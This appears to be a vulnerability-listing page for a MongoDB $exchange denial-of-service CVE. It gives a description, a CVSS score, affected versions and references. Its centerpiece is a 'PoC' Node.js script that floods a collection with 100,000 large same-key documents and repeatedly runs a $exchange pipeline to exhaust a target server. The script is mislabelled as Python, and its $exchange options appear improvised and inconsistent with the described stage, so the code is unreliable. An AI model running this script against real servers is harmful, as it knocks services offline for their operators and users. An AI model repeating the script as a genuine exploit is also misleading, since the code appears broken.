CVE-2026-9749

Description

This issue can occur when running an aggregation pipeline that uses the internal $exchange stage configured with key-range partitioning and order-preserving delivery. If a single key range produces enough documents to fill its exchange buffer (that is, many results are routed to the same consumer), the server reaches the code path where a full per-consumer buffer is detected but the internal "high watermark" for that key range is not updated as intended.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

MongoDB Server < 7.0.12

MongoDB Server 7.1.0 - 7.1.5

MongoDB Server 8.0.0 - 8.0.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-9749 PoC - MongoDB $exchange DoS
// Target: MongoDB with aggregation pipeline using $exchange
// Prerequisites: Low-privilege user access

const { MongoClient } = require('mongodb');

async function exploitCVE20269749() {
    const mongoUrl = 'mongodb://target:27017/test';
    const client = new MongoClient(mongoUrl);
    
    try {
        await client.connect();
        const db = client.db('test');
        
        // Create a collection with many documents
        const collection = db.collection('test_data');
        await collection.createIndex({ keyField: 1 });
        
        // Insert many documents with same key to fill buffer
        const bulkOps = [];
        for (let i = 0; i < 100000; i++) {
            bulkOps.push({
                insertOne: {
                    document: {
                        keyField: 'SAME_KEY',
                        data: 'A'.repeat(1000)
                    }
                }
            });
        }
        await collection.bulkWrite(bulkOps);
        
        // Trigger the vulnerable code path
        // Using $exchange with key-range partitioning
        const pipeline = [
            {
                $match: { keyField: 'SAME_KEY' }
            },
            {
                $exchange: {
                    collection: 'output',
                    mode: 'streamRows',
                    partitionBy: 'keyField',
                    partitionType: 'key-range',
                    orderPreserving: true
                }
            }
        ];
        
        // Execute aggregation multiple times to trigger DoS
        for (let i = 0; i < 100; i++) {
            try {
                await collection.aggregate(pipeline).toArray();
            } catch (e) {
                console.log('Vulnerability triggered:', e.message);
            }
        }
        
    } finally {
        await client.close();
    }
}

exploitCVE20269749();

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9749
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9749
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9749/
[4] VulDB https://vuldb.com/cve/CVE-2026-9749
[5] https://jira.mongodb.org/browse/SERVER-124031

Raw JSON Data

JSON

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